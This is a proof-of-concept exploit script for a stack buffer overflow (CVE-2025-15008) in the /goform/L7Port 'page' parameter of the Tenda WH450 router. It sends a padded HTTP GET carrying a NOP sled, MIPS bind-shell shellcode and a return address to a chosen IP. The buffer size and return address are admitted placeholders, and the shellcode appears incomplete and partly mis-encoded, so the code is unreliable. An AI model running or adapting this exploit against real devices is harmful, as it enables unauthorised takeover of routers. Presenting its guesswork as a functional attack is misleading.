CVE-2025-15008: Tenda WH450路由器/goform/L7Port栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15008 PoC - Tenda WH450 /goform/L7Port Stack Buffer Overflow Target: Tenda WH450 1.0.0.18 Vulnerability: Stack-based buffer overflow via page parameter """ import socket import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in /goform/L7Port Args: target_ip: Target router IP address target_port: Target HTTP service port (default: 80) """ # Prepare overflow payload # The buffer size needs to be determined through fuzzing # This is a basic proof of concept structure buffer_size = 1024 # Example size, may need adjustment # Construct the payload with NOP sled + shellcode + return address # Padding to reach the return address padding = b'A' * (buffer_size - len(b'\x90' * 16)) # NOP sled nop_sled = b'\x90' * 16 # NOP instructions # Shellcode for MIPS architecture (Tenda routers typically use MIPS) # This is a bind shell example - listening on port 4444 shellcode = ( b'\x24\x0f\xff\xfa' # li t7, -6 b'\x01\xe0\x78\x27' # nor t7, t7, zero b'\x01\xe0\x70\x27' # nor t6, t7, zero b'\x28\x06\xff\xff' # slti a2, zero, -1 b'\x24\x02\x0f\xa5' # li v0, 4005 (socket) b'\x01\x01\x01\x0c' # syscall b'\x24\x0f\xff\xfd' # li t7, -3 b'\x01\xe0\x78\x27' # nor t7, t7, zero b'\x8f\x74\x00\x01' # lw s4, 1(s4) b'\x01\xe0\x70\x27' # nor t6, t7, zero b'\x01\x06\xff\xff' # move a2, t6 b'\x24\x02\x0f\xa6' # li v0, 4006 (bind) b'\x01\x01\x01\x0c' # syscall b'\x24\x02\x0f\xa9' # li v0, 4009 (listen) b'\x01\x01\x01\x0c' # syscall b'\x24\x02\x0f\xab' # li v0, 4011 (accept) b'\x01\x01\x01\x0c' # syscall ) # Return address - needs to be adjusted based on firmware analysis return_addr = b'\x40\x00\x00\x00' # Example address, adjust accordingly # Assemble the payload payload = padding + nop_sled + shellcode + return_addr # Construct HTTP request http_request = f"GET /goform/L7Port?page={payload.decode('latin-1', errors='ignore')} HTTP/1.1\r\n" http_request += f"Host: {target_ip}:{target_port}\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Accept: */*\r\n" http_request += "Connection: close\r\n\r\n" print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) print("[+] Exploit sent successfully") response = sock.recv(4096) print(f"[*] Response received: {response[:100]}") sock.close() except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2025_15008_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)